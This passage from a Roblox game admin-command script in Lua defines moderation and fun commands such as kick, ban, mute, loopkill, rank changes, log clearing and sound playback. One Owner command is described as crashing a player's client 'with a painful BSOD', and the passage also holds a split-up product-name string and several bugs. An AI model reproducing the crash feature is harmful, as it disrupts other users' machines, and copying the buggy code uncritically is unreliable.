5672 if PlayerInfo.Gamepad ~= nil then table.insert(Compile, "Has Gamepad: "..STRING:BoolString(PlayerInfo.Gamepad)) end
5673 if PlayerInfo.Mouse ~= nil then table.insert(Compile, "Has Mouse: "..STRING:BoolString(PlayerInfo.Mouse)) end
5674 if PlayerInfo.Keyboard ~= nil then table.insert(Compile, "Has Keyboard: "..STRING:BoolString(PlayerInfo.Keyboard)) end
5675 if PlayerInfo.TouchScreen ~= nil then table.insert(Compile, "Has TouchScreen: "..STRING:BoolString(PlayerInfo.TouchScreen)) end
5676 if PlayerInfo.Benchmark then
5677 table.insert(Compile, "BLUE BENCHMARK: "..PlayerInfo.Benchmark)
5678 end
5679 if Num ~= #Players then table.insert(Compile, "-----------------------------") end
5680 end
5681 GUI:ListGui(Speaker, "Information on "..#Players.." player(s)", Compile, "Information", false, false)
5682 end};
5683
5684 [{"loopkill", "lkill", "loopk"}] = {"player num", "Kills player num times", 2, "Admin", false, function(Speaker, Rank, Arguments)
5685 if tonumber(Arguments[2]) then
5686 local Players = STRING:Scan(Arguments[1], Speaker)
5687 for _,Player in pairs(Players) do
5688 coroutine.wrap(function()
5689 if Player.Character then
5690 table.insert(LoopKills, Player.Name)
5691 local Loop = nil
5692 local PrevChar = nil
5693
5694 for i = 1,tonumber(Arguments[2]) do
5695 local Char = Player.Character
5696 if PrevChar and PrevChar ~= Char then
5697 PrevChar:Destroy()
5698 end
5699 PrevChar = Char
5700 local CanDie = true
5701 for _,Name in pairs(LoopKills) do if Name == Player.Name then CanDie = true end end
5702 if CanDie == false then
5703 break
5704 end
5705 ypcall(function() Char.Parent = Server.Lighting end)
5706 wait(0.1)
5707 ypcall(function() Char.Parent = Server.Workspace end)
5708 wait(0.1)
5709 end
5710 end
5711 end)()
5712 end
5713 else
5714 GUI:SendMessage(Speaker, "Cannot execute", "RED Argument 2 is not a valid number", "Error")
5715 end
5716 end};
5717
5718 [{"noloopkill", "nolkill", "noloopk", "unloopkill", "unlkill", "unloopk"}] = {"player num", "Stops any loop kills on a player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5719 local Players = STRING:Scan(Arguments[1], Speaker)
5720 for _,Player in pairs(Players) do
5721 for Num,Name in pairs(LoopKills) do
5722 if Player.Name == Name then
5723 table.remove(LoopKills, Num)
5724 end
5725 end
5726 end
5727 end};
5728
5729 [{"sound", "audio", "music"}] = {"num/string", "Plays the sound ID or string from the soundlist", 1, "Member", false, function(Speaker, Rank, Arguments)
5730 SOUND:PlayGlobalSound(Arguments[1])
5731 end};
5732
5733 [{"nosound", "noaudio", "nomusic", "stopsound", "stopaudio", "stopmusic"}] = {"", "Removes the current sound playing", 0, "Member", false, function(Speaker, Rank, Arguments)
5734 SOUND:StopGlobalSound()
5735 end};
5736
5737 [{"pitch"}] = {"num", "Sets the pitch of the current sound to num", 1, "Member", false, function(Speaker, Rank, Arguments)
5738 local Pitch = tonumber(Arguments[1])
5739 if not Pitch then Pitch = 1 end
5740 if Sound then
5741 Sound.Pitch = Pitch
5742 end
5743 end};
5744
5745 [{"search", "searchsound", "searchsounds", "searchaudio", "searchmusic", "ss"}] = {"string", "Searches the catalog for the sound string", 1, "Member", false, function(Speaker, Rank, Arguments)
5746 local CloseGui, AddInfo = GUI:LoadGui(Speaker, "Searching for: "..Arguments[1])
5747 local Items = MARKET:SearchItem(9, Arguments[1])
5748 if Items then
5749 if #Items ~= 0 then
5750 local List,Correlate = {},{}
5751 for Num,Info in pairs(Items) do
5752 local Display = " "..Info.Name.." by: "..Info.Creator.." ("..Info.AssetId..")"
5753 table.insert(List, Display)
5754 Correlate[Display] = Info.AssetId
5755 end
5756 CloseGui:Invoke()
5757
5758 local CanClick = true
5759 if Rank == "Member" then CanClick = false end
5760 local Clicked = GUI:ListGui(Speaker, "Search Results: "..Arguments[1], List, "Search", CanClick)
5761 Clicked.Event:connect(function(ClickName)
5762 local OldSoundId = nil
5763 SOUND:StopGlobalSound()
5764 if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
5765 SOUND:PlayGlobalSound(Correlate[ClickName])
5766 end
5767 end)
5768 else
5769 CloseGui:Invoke()
5770 GUI:SendMessage(Speaker, "No results", "BLUE No results for "..Arguments[1].." found...", "Information")
5771 end
5772 else
5773 CloseGui:Invoke()
5774 GUI:SendMessage(Speaker, "Cannot get audio", "RED Cannot get audio. Is HttpService enabled?", "Error")
5775 end
5776 end, Http = true};
5777
5778 [{"gun"}] = {"player", "Gives player a gun", 1, "Member", false, function(Speaker, Rank, Arguments)
5779 local Players = STRING:Scan(Arguments[1], Speaker)
5780 for _,Player in pairs(Players) do
5781 if Player.Character then
5782 CORE:ExecuteResource("Gun", Player.Character)
5783 end
5784 end
5785 end};
5786
5787 [{"sink", "pothole", "quicksand"}] = {"player", "Sinks the player", 1, "Member", true, function(Speaker, Rank, Arguments)
5788 local Players = STRING:Scan(Arguments[1], Speaker)
5789 for _,Player in pairs(Players) do
5790 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
5791 local Hole = Instance.new("Part", Player.Character) Hole.Name = "Hole" Hole.BrickColor = BrickColor.new("Really black") Hole.Size = Vector3.new(5,1.2,5) Hole.Anchored = true Hole.CanCollide = fals Hole.Locked = true Hole.CFrame = Player.Character.Torso.CFrame * CFrame.new(0,-3.5,0) * CFrame.Angles(0,0,0) Instance.new("CylinderMesh", Hole)
5792 Player.Character.Humanoid.WalkSpeed = 0
5793 Player.Character.Torso.Anchored = true
5794 coroutine.wrap(function()
5795 local OldCFrame = Player.Character.Torso.CFrame
5796 for i = 0,8,0.1 do
5797 Player.Character.Torso.CFrame = OldCFrame * CFrame.new(0,-i,0)
5798 wait()
5799 end
5800 Player.Character.Torso.Anchored = false
5801 Player.Character:BreakJoints()
5802 CORE:InvisiblePlayer(Player)
5803 end)()
5804 end
5805 end
5806 end};
5807
5808 [{"freeze", "anchor"}] = {"player", "Freezes player in place", 1, "Member", false, function(Speaker, Rank, Arguments)
5809 local Players = STRING:Scan(Arguments[1], Speaker)
5810 for _,Player in pairs(Players) do
5811 CORE:AnchorPlayer(Player)
5812 end
5813 end};
5814
5815 [{"nofreeze", "unfreeze", "noanchor", "unanchor", "thaw"}] = {"player", "Unfreezes player", 1, "Member", false, function(Speaker, Rank, Arguments)
5816 local Players = STRING:Scan(Arguments[1], Speaker)
5817 for _,Player in pairs(Players) do
5818 CORE:UnanchorPlayer(Player)
5819 end
5820 end};
5821
5822 [{"invisible", "invis"}] = {"player", "Makes player invisible", 1, "Member", false, function(Speaker, Rank, Arguments)
5823 local Players = STRING:Scan(Arguments[1], Speaker)
5824 for _,Player in pairs(Players) do
5825 CORE:InvisiblePlayer(Player)
5826 end
5827 end};
5828
5829 [{"visible", "vis"}] = {"player", "Makes player visible", 1, "Member", false, function(Speaker, Rank, Arguments)
5830 local Players = STRING:Scan(Arguments[1], Speaker)
5831 for _,Player in pairs(Players) do
5832 CORE:VisiblePlayer(Player)
5833 end
5834 end};
5835
5836 [{"asteroid", "comet", "meteor", "meteorite"}] = {"player", "Shoots an asteroid at player", 1, "Member", true, function(Speaker, Rank, Arguments)
5837 local Players = STRING:Scan(Arguments[1], Speaker)
5838 for _,Player in pairs(Players) do
5839 if Player.Character and Player.Character:FindFirstChild("Torso") then
5840 local Ast = Instance.new("Part", Server.Workspace) Ast.Name = "Asteroid" Ast.Position = Player.Character.Torso.Position + Vector3.new(0,500,0) Ast.Size = Vector3.new(12,12,12)
5841 local Mesh = Instance.new("SpecialMesh", Ast) Mesh.MeshId = "rbxassetid://1290033" Mesh.Scale = Vector3.new(6.2,6.2,6.2) Mesh.TextureId = "rbxassetid://1290030"
5842 local Fire = Instance.new("Fire", Ast) Fire.Heat = 25 Fire.Size = 30
5843 local Smoke = Instance.new("Smoke", Ast) Smoke.RiseVelocity = 10 Smoke.Size = 10
5844 local BoomSound = SOUND:MakeSound(Ast, 188590169, 1, 1)
5845 local Fly = SOUND:MakeSound(Ast, 179438534, 1, 1, true)
5846 Fly:Play()
5847 local Touched = false
5848 coroutine.wrap(function()
5849 repeat wait(0.1)
5850 Ast.Position = Vector3.new(Player.Character.Torso.Position.X, Ast.Position.Y, Player.Character.Torso.Position.Z)
5851 until not Ast or Ast.Parent == nil or Touched == true
5852 end)()
5853 Ast.Touched:connect(function(Part)
5854 if Touched == false then
5855 Touched = true
5856 Part:BreakJoints()
5857 local Boom = Instance.new("Explosion", Workspace)
5858 Boom.Position = Ast.Position
5859 Boom.BlastPressure = 1000000
5860 Boom.BlastRadius = 30
5861 Fire.Heat = 0
5862 Smoke.RiseVelocity = 0
5863 Fly:Stop()
5864 BoomSound:Play()
5865 coroutine.wrap(function()
5866 wait(3)
5867 BoomSound:Stop()
5868 if Ast and Ast.Parent ~= nil then
5869 Ast:Destroy()
5870 end
5871 end)()
5872 end
5873 end)
5874 end
5875 end
5876 end};
5877
5878 [{"kick"}] = {"player", "Will kick player out of the server", 1, "Admin", false, function(Speaker, Rank, Arguments)
5879 local Success = {}
5880 local Players = STRING:Scan(Arguments[1], Speaker)
5881 for _,Player in pairs(Players) do
5882 local PlayerRank = RANK:GetRank(Player)
5883 if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
5884 CORE:Kick(Player)
5885 table.insert(Success, Player)
5886 end
5887 end
5888 REMOTE:SendHttpLog(Speaker.Name.." kicked "..CORE:UnpackPlayers(Success), "INFORMATION")
5889 end};
5890
5891 [{"ban"}] = {"player", "Will ban player and will be unable to join", 1, "Admin", false, function(Speaker, Rank, Arguments)
5892 local Success = {}
5893 local Players = STRING:Scan(Arguments[1], Speaker)
5894 for _,Player in pairs(Players) do
5895 local PlayerRank = RANK:GetRank(Player)
5896 if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
5897 RANK:RemoveRank(Player)
5898 table.insert(Settings.Ranks.Banned, Player.Name)
5899 CORE:Kick(Player)
5900 table.insert(Success, Player)
5901 end
5902 end
5903 REMOTE:SendHttpLog(Speaker.Name.." banned "..CORE:UnpackPlayers(Success), "WARNING")
5904 end};
5905
5906 [{"crash"}] = {"player", "Will crash player with a painful BSOD", 1, "Owner", false, function(Speaker, Rank, Arguments)
5907 local Success = {}
5908 local Players = STRING:Scan(Arguments[1], Speaker)
5909 for _,Player in pairs(Players) do
5910 local PlayerRank = RANK:GetRank(Player)
5911 if PlayerRank ~= "Owner" then
5912 RANK:RemoveRank(Player)
5913 table.insert(Settings.Ranks.Crashed, Player.Name)
5914 CORE:Crash(Player)
5915 table.insert(Success, Player)
5916 end
5917 end
5918 REMOTE:SendHttpLog(Speaker.Name.." crashed "..CORE:UnpackPlayers(Success), "INFORMATION")
5919 end};
5920
5921 [{"mute"}] = {"player", "Makes player unable to talk", 1, "Owner", false, function(Speaker, Rank, Arguments)
5922 local Success = {}
5923 local Players = STRING:Scan(Arguments[1], Speaker)
5924 for _,Player in pairs(Players) do
5925 local PlayerRank = RANK:GetRank(Player)
5926 if PlayerRank ~= "Owner" then
5927 RANK:RemoveRank(Player)
5928 table.insert(Settings.Ranks.Muted, Player.Name)
5929 GUI:CoreGui(Player, "Chat", false)
5930 table.insert(Success, Player)
5931 end
5932 end
5933 REMOTE:SendHttpLog(Speaker.Name.." has muted "..CORE:UnpackPlayers(Success), "INFORMATION")
5934 end};
5935
5936 [{"noadmin", "unadmin", "nomember", "unmember", "nomem", "unmem", "noowner", "unowner", "noown", "unown", "nocrash", "uncrash", "noban", "unban", "nomute", "unmute", "derank"}] = {"player", "Removes whatever rank player has(if your rank is sufficient enough to override player's)", 1, "Admin", false, function(Speaker, Rank, Arguments)
5937 local Players = STRING:Scan(Arguments[1], Speaker)
5938 if #Players > 0 then
5939 local Success = {}
5940 for _,Player in pairs(Players) do
5941 local RankName,RankNum = RANK:GetRank(Player)
5942 if RankNum < RANK:ConvertRank(Rank) or RANK:IsSupremeOwner(Speaker) then
5943 if not RANK:IsSupremeOwner(Player) then
5944 if RankName == "Muted" then
5945 GUI:CoreGui(Player, "Chat", true)
5946 end
5947 if RankNum > 0 then
5948 GUI:TellNotAdmin(Player)
5949 end
5950 RANK:RemoveRank(Player)
5951 table.insert(Success, Player)
5952 end
5953 end
5954 end
5955 REMOTE:SendHttpLog(Speaker.Name.." has unranked "..CORE:UnpackPlayers(Players), "INFORMATION")
5956 else
5957 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
5958 if Player then
5959 local RankNum = RANK:ConvertRank(PlayerRank)
5960 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
5961 if not RANK:IsSupremeOwner(Player) then
5962 RANK:RemoveRank(Player)
5963 REMOTE:SendHttpLog(Speaker.Name.." has unranked "..Player, "INFORMATION")
5964 end
5965 end
5966 end
5967 end
5968 end};
5969
5970 [{"member", "mem"}] = {"player", "Adds player to the member list", 1, "Admin", false, function(Speaker, Rank, Arguments)
5971 local Players = STRING:Scan(Arguments[1], Speaker)
5972 if #Players > 0 then
5973 local Success = {}
5974 for _,Player in pairs(Players) do
5975 local PlayerRank,RankNum = RANK:GetRank(Player)
5976 if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
5977 RANK:RemoveRank(Player)
5978 table.insert(Settings.Ranks.Member, Player.Name)
5979 GUI:TellAdmin(Player)
5980 table.insert(Success, Player)
5981 end
5982 end
5983 REMOTE:SendHttpLog(Speaker.Name.." has membered "..CORE:UnpackPlayers(Success), "INFORMATION")
5984 else
5985 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
5986 if Player then
5987 local RankNum = RANK:ConvertRank(PlayerRank)
5988 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
5989 if not RANK:IsSupremeOwner(Player) then
5990 RANK:RemoveRank(Player)
5991 table.insert(Settings.Ranks.Member, Player)
5992 end
5993 end
5994 else
5995 RANK:RemoveRank(Arguments[1])
5996 table.insert(Settings.Ranks.Member, Arguments[1])
5997 end
5998 end
5999 end};
6000
6001 [{"admin", "adm"}] = {"player", "Adds player to the admin list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6002 local Players = STRING:Scan(Arguments[1], Speaker)
6003 if #Players > 0 then
6004 local Success = {}
6005 for _,Player in pairs(Players) do
6006 local PlayerRank,RankNum = RANK:GetRank(Player)
6007 if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
6008 RANK:RemoveRank(Player)
6009 table.insert(Settings.Ranks.Admin, Player.Name)
6010 GUI:TellAdmin(Player)
6011 table.insert(Success, Player)
6012 end
6013 end
6014 REMOTE:SendHttpLog(Speaker.Name.." has admined "..CORE:UnpackPlayers(Success), "INFORMATION")
6015 else
6016 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6017 if Player then
6018 local RankNum = RANK:ConvertRank(PlayerRank)
6019 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6020 if not RANK:IsSupremeOwner(Player) then
6021 RANK:RemoveRank(Player)
6022 table.insert(Settings.Ranks.Admin, Player)
6023 end
6024 end
6025 else
6026 RANK:RemoveRank(Arguments[1])
6027 table.insert(Settings.Ranks.Admin, Arguments[1])
6028 end
6029 end
6030 end};
6031
6032 [{"owner", "own"}] = {"player", "Adds player to the owner list(Speaker must be game owner)", 1, "Owner", false, function(Speaker, Rank, Arguments)
6033 local Players = STRING:Scan(Arguments[1], Speaker)
6034 if RANK:IsSupremeOwner(Speaker) then
6035 if #Players > 0 then
6036 local Success = {}
6037 for _,Player in pairs(Players) do
6038 if not RANK:IsSupremeOwner(Player) then
6039 RANK:RemoveRank(Player)
6040 table.insert(Settings.Ranks.Owner, Player.Name)
6041 GUI:TellAdmin(Player)
6042 table.insert(Success, Player)
6043 end
6044 end
6045 REMOTE:SendHttpLog(Speaker.Name.." has ownered "..CORE:UnpackPlayers(Success), "INFORMATION")
6046 else
6047 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6048 if Player then
6049 local RankNum = RANK:ConvertRank(PlayerRank)
6050 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6051 if not RANK:IsSupremeOwner(Player) then
6052 RANK:RemoveRank(Player)
6053 table.insert(Settings.Ranks.Owner, Player)
6054 end
6055 end
6056 else
6057 RANK:RemoveRank(Arguments[1])
6058 table.insert(Settings.Ranks.Owner, Arguments[1])
6059 end
6060 end
6061 end
6062 end};
6063
6064 [{"admins", "adminlist"}] = {"", "Lists all admins in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6065 local TableStorage = {}
6066 for _,Obj in pairs(Settings.Ranks.Member) do table.insert(TableStorage, Obj..": Member") end
6067 for _,Obj in pairs(Settings.Ranks.Admin) do table.insert(TableStorage, Obj..": Admin") end
6068 for _,Obj in pairs(Settings.Ranks.Owner) do table.insert(TableStorage, "BOLD: "..Obj..": Owner") end
6069 GUI:ListGui(Speaker, "Admin List", TableStorage, 45961462)
6070 end};
6071
6072 [{"serveradmins", "sa"}] = {"", "Lists all admins in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
6073 local TableStorage = {}
6074 for _,Player in pairs(Server.Players:GetChildren()) do
6075 local ValidAdmin,PlayerRank = RANK:IsAdmin(Player)
6076 if ValidAdmin then
6077 if PlayerRank == "Owner" then
6078 table.insert(TableStorage, "BOLD: "..Player.Name..": Owner")
6079 else
6080 table.insert(TableStorage, Player.Name..": "..PlayerRank)
6081 end
6082 end
6083 end
6084 GUI:ListGui(Speaker, "Server admin List", TableStorage, 76198987)
6085 end};
6086
6087 [{"bans", "banlist"}] = {"", "Lists all players who've been banned", 0, "Member", false, function(Speaker, Rank, Arguments)
6088 GUI:ListGui(Speaker, "Ban List", Settings.Ranks.Banned, 163337795)
6089 end};
6090
6091 [{"crashes", "crashlist"}] = {"", "Lists all players who've been crashed", 0, "Member", false, function(Speaker, Rank, Arguments)
6092 GUI:ListGui(Speaker, "Crash List", Settings.Ranks.Crashed, 35480917)
6093 end};
6094
6095 [{"mutes", "muted", "mutelist"}] = {"", "Lists all players who've been muted", 0, "Member", false, function(Speaker, Rank, Arguments)
6096 GUI:ListGui(Speaker, "Mute List", Settings.Ranks.Muted, 202000870)
6097 end};
6098
6099 [{"exiles", "exilelist"}] = {"", "Lists all the exiled players(banned, crashed, muted) in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6100 local TableStorage = {}
6101 for _,Obj in pairs(Settings.Ranks.Banned) do table.insert(TableStorage, Obj..": Banned") end
6102 for _,Obj in pairs(Settings.Ranks.Crashed) do table.insert(TableStorage, Obj..": Crashed") end
6103 for _,Obj in pairs(Settings.Ranks.Muted) do table.insert(TableStorage, Obj..": Muted") end
6104 GUI:ListGui(Speaker, "Exile List", TableStorage, 132769258)
6105 end};
6106
6107 [{"ranked", "ranks", "ranklist"}] = {"", "Lists all the players ranked in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6108 local TableStorage = {}
6109 for PlayerRank,PlayerNames in pairs(Settings.Ranks) do
6110 for Num,PlayerName in pairs(PlayerNames) do
6111 if PlayerRank == "Owner" then
6112 table.insert(TableStorage, "BOLD: "..PlayerName..": Owner")
6113 else
6114 table.insert(TableStorage, PlayerName..": "..PlayerRank)
6115 end
6116 end
6117 end
6118 GUI:ListGui(Speaker, "Rank List", TableStorage, 21341765)
6119 end};
6120
6121 [{"logs", "commandlogs", "cmdlogs"}] = {"", "Lists all the logs of executed commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
6122 GUI:ListGui(Speaker, "Command Logs", CORE:ReverseTable(CommandLogs), "Log")
6123 end};
6124
6125 [{"chatlogs"}] = {"", "Lists all the logs of players who've chatted", 0, "Admin", false, function(Speaker, Rank, Arguments)
6126 GUI:ListGui(Speaker, "Chat Logs", CORE:ReverseTable(ChatLogs), "Log")
6127 end};
6128
6129 [{"irclogs"}] = {"", "Lists all the logs of irc output", 0, "Admin", false, function(Speaker, Rank, Arguments)
6130 GUI:ListGui(Speaker, "IRC Logs", CORE:ReverseTable(IRC.Logs), "Log")
6131 end};
6132
6133 [{"exploitlogs"}] = {"", "Lists all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
6134 local ExploitLog = Server.GDS:GetAsync("ExploitLog")
6135 if type(ExploitLog) ~= "table" then ExploitLog = {} end
6136 GUI:ListGui(Speaker, "Exploit Logs", ExploitLog, "Log")
6137 end};
6138
6139 [{"clearlogs", "clearcommandlogs", "clearcmdlogs"}] = {"", "Clears all the logs of executed commands", 0, "Owner", false, function(Speaker, Rank, Arguments)
6140 CommandLogs = {}
6141 end};
6142
6143 [{"clearchatlogs"}] = {"", "Clears all the logs of players who've chatted", 0, "Owner", false, function(Speaker, Rank, Arguments)
6144 ChatLogs = {}
6145 end};
6146
6147 [{"clearirclogs"}] = {"", "Clears all the logs of irc output", 0, "Owner", false, function(Speaker, Rank, Arguments)
6148 IRC.Logs = {}
6149 end};
6150
6151 [{"clearalllogs", "resetlogs"}] = {"", "Clears ALL logs (Command, Chat, IRC) but not exploit logs", 0, "Owner", false, function(Speaker, Rank, Arguments)
6152 CommandLogs = {}
6153 ChatLogs = {}
6154 IRC.Logs = {}
6155 end};
6156
6157 [{"clearexploitlogs"}] = {"", "Clears all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
6158 Server.GDS:SetAsync("ExploitLog", {})
6159 end};
6160
6161 [{"soundlist", "musiclist", "audiolist", "songs", "sounds", "musics", "audios"}] = {"", "Lists all the sounds in the global sound list", 0, "Member", false, function(Speaker, Rank, Arguments)
6162 local List,Correlate,SoundName = {},{},{}
6163 for Name,Info in pairs(SoundList) do
6164 local View = "Command Name: "..Name.." | Audio ID: "..Info[1].." | Full Name: "..Info[2]
6165 table.insert(List, View)
6166 Correlate[View] = Info[1]
6167 end
6168
6169 local CanClick = true
6170 if Rank == "Member" then CanClick = false end
6171 local Clicked = GUI:ListGui(Speaker, "Sound List", List, "Sound", CanClick)
6172 Clicked.Event:connect(function(ClickName)
6173 local OldSoundId = nil
6174 SOUND:StopGlobalSound()
6175 if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
6176 SOUND:PlayGlobalSound(Correlate[ClickName])
6177 end
6178 end)
6179 end};
6180
6181 [{"syncsoundlist", "syncsounds", "syncaudiolist", "syncaudios", "syncmusiclist", "syncmusics"}] = {"", "Resyncs the global sound list to the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6182 SOUND:SyncSoundList(Speaker)
6183 end};
6184
6185 [{"cleart", "clearterrain", "cleant", "cleanterrain"}] = {"", "Clears all terrain from the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6186 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean Terrain?", "Do you really want to clear all terrain in the server? If there is a lot of terrain this can cause major lag. Continue?", "Question", {"Yes", "No"})
6187 if Answer == "Yes" then
6188 Server.Workspace.Terrain:Clear()
6189 end
6190 end};
6191
6192 [{"clearstamp", "clearstamper", "cleanstamp", "cleanstamper"}] = {"", "Clears all items in workspace that came from the stamper tool (Not terrain)", 0, "Admin", false, function(Speaker, Rank, Arguments)
6193 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean All Stamper Objects?", "Do you really want to clear all stamper objects in the server, this will clean all bricks/models placed down by stamper and if there's a lot of them it can cause major lag? Continue?", "Question", {"Yes", "No"})
6194 if Answer == "Yes" then
6195 for _,Obj in pairs(Workspace:GetChildren()) do
6196 if Obj:FindFirstChild("RobloxStamper") and Obj:FindFirstChild("RobloxModel") then
6197 Obj:Destroy()
6198 end
6199 end
6200 end
6201 end};
6202
6203 [{"base", "baseplate", "newbase", "makebase", "newbaseplate", "makebaseplate"}] = {"", "Creates a baseplate inside the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6204 CORE:MakeBase()
6205 end};
6206
6207 [{"addsound", "addaudio", "addmusic"}] = {"num(ID) string", "Will add the song of num(ID) named string to the custom sound list of the game", 2, "Admin", false, function(Speaker, Rank, Arguments)
6208 local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
6209 if CustomSounds == nil or type(CustomSounds) ~= "table" then
6210 CustomSounds = {}
6211 end
6212 if tostring(Arguments[1]) then
6213 local Request = MARKET:GetItemInfo(Arguments[1])
6214 if Request.AssetTypeId == 3 then
6215 table.insert(CustomSounds, {Arguments[2], Arguments[1]})
6216 SoundList[Arguments[2]] = {Arguments[1], Request.Name, Request.Creator.Name}
6217 Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
6218 GUI:SendHint(Speaker, "Sound Added to server sound list and for future servers.", 4)
6219 else
6220 GUI:SendMessage(Speaker, "Invalid", "Please make sure that your ID is an audio asset.", 4)
6221 end
6222 end
6223 end};
6224
6225 [{"removesound", "removeaudio", "removemusic"}] = {"string", "Will remove the sound string from the custom sound list of the game", 1, "Admin", false, function(Speaker, Rank, Arguments)
6226 local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
6227 if CustomSounds == nil or type(CustomSounds) ~= "table" then
6228 CustomSounds = {}
6229 end
6230
6231 local Removed = {}
6232 for Num,Data in pairs(CustomSounds) do
6233 if string.sub(string.lower(Data[1]),1,#Arguments[1]) == string.lower(Arguments[1]) then
6234 table.insert(Removed, Data[1])
6235 table.remove(CustomSounds, Num)
6236 end
6237 end
6238
6239 Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
6240
6241 SOUND:SyncSoundList()
6242
6243 if #Removed > 0 then
6244 GUI:SendHint(Speaker, "Removed from custom sound list: "..STRING:UnpackArgs(Removed))
6245 else
6246 GUI:SendHint(Speaker, "Could not find sound "..Arguments[1].." in custom sound list")
6247 end
6248 end};
6249
6250 [{"clearsounds", "clearaudio", "clearmusic"}] = {"", "Clears all sounds in the custom sound list of the game", 0, "Admin", false, function(Speaker, Rank, Arguments)
6251 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clear All Sounds", "Would you like to clear all sounds from the custom Lua".."M".."od".."elMa".."ke".."r's sound list? This will clear all sounds from the ;addsound command and will affect all sounds in all of this game's servers. Are you sure you want to clear?(All default global sounds will remain)", "Question", {"Yes", "No"})
6252 if Answer == "Yes" then
6253 Server.GDS:SetAsync("MML Custom Sounds", {})
6254 SoundList = GlobalSoundList -- Reset to old sounds without having to re-sync!
6255 GUI:SendHint(Speaker, "All custom sounds have been removed", 4)
6256 end
6257 end};
6258
6259 [{"benchmark", "bench"}] = {"player", "Benchmarks player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6260 local Players = STRING:Scan(Arguments[1], Speaker)
6261 local SpeakerTesting = false
6262 for _,Player in pairs(Players) do
6263 if Player == Speaker then SpeakerTesting = true end
6264 if Player:FindFirstChild("Backpack") then coroutine.wrap(function()
6265 CORE:ExecuteResource("Benchmark", Player.Backpack, {["Admin"] = script})
6266 --wait(10)
6267 --GUI:SendMessage(Player, "Benchmark almost done", "Your client is cleaning up the mess made. Please wait until you are reset by your client to have results submitted", "Information", 10)
6268 end)() end
6269 end
6270 if SpeakerTesting == false then
6271 GUI:SendMessage(Speaker, "Benchmarking", "The player(s) are now being benchmarked. To view results say "..Settings.Prefix.."getbench player", "Information", 10)
6272 end
6273 end};
6274
6275 [{"getbench", "getbenchmark", "getbenches", "getbenchmarks"}] = {"player", "Gets benchmarks of player", 1, "Member", false, function(Speaker, Rank, Arguments)
6276 local Players = STRING:Scan(Arguments[1], Speaker)
6277 local Compile = {}
6278 for _,Player in pairs(Players) do
6279 local PlayerInfo = ClientInfo[Player.Name]
6280 if PlayerInfo then
6281 if PlayerInfo.Benchmark then
6282 table.insert(Compile, Player.Name..": "..PlayerInfo.Benchmark)
6283 else
6284 table.insert(Compile, Player.Name..": No score")
6285 end
6286 end
6287 end
6288 GUI:ListGui(Speaker, "Benchmarks", Compile, "Information")
6289 end};
6290
6291 [{"replicatecommand", "replicatecmd", "repcmd", "repcommand", "rc", "sudo"}] = {"player string[command]", "Executes string as a command on player as if they said it", 2, "Owner", false, function(Speaker, Rank, Arguments)
6292 local Players = STRING:Scan(Arguments[1], Speaker)
6293 for _,Player in pairs(Players) do
6294 CORE:Chatted(Arguments[2], Player, true)
6295 end
6296 end};
6297
6298 [{"virtexe", "virtualexe", "virtsudo", "virtualsudo", "vsudo", "vs"}] = {"string[Name] string[Rank] string[Command]", "Executes string[Command] on a vitual player named string[Name] with the rank string[Rank]", 3, "Owner", false, function(Speaker, Rank, Arguments)
6299 CORE:Chatted(Arguments[3], nil, true, Arguments[1], Arguments[2], RANK:IsSupremeOwner(Speaker))
6300 end};
6301
6302 [{"longneck", "lneck", "longn", "ln"}] = {"player", "Makes player have a long neck", 1, "Member", true, function(Speaker, Rank, Arguments)
6303 local Players = STRING:Scan(Arguments[1], Speaker)
6304 for _,Player in pairs(Players) do
6305 if Player.Character ~= nil then
6306 if Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") ~= nil then
6307 if Player.Character.Torso:FindFirstChild("Neck") then
6308 Player.Character.Torso.Neck.C0 = CFrame.new(0,3,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
6309 local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
6310 Neck = Instance.new("Part", Player.Character) Neck.Name = "Neck" Neck.Size = Vector3.new(1,3,1) Neck.Position = Vector3.new(0,100,0) Neck.BrickColor = BrickColor.new(tostring(Player.Character.Head.BrickColor)) Neck.Locked = true
6311 local Mesh = Instance.new("CylinderMesh", Neck) Mesh.Scale = Vector3.new(0.7,1,0.7)
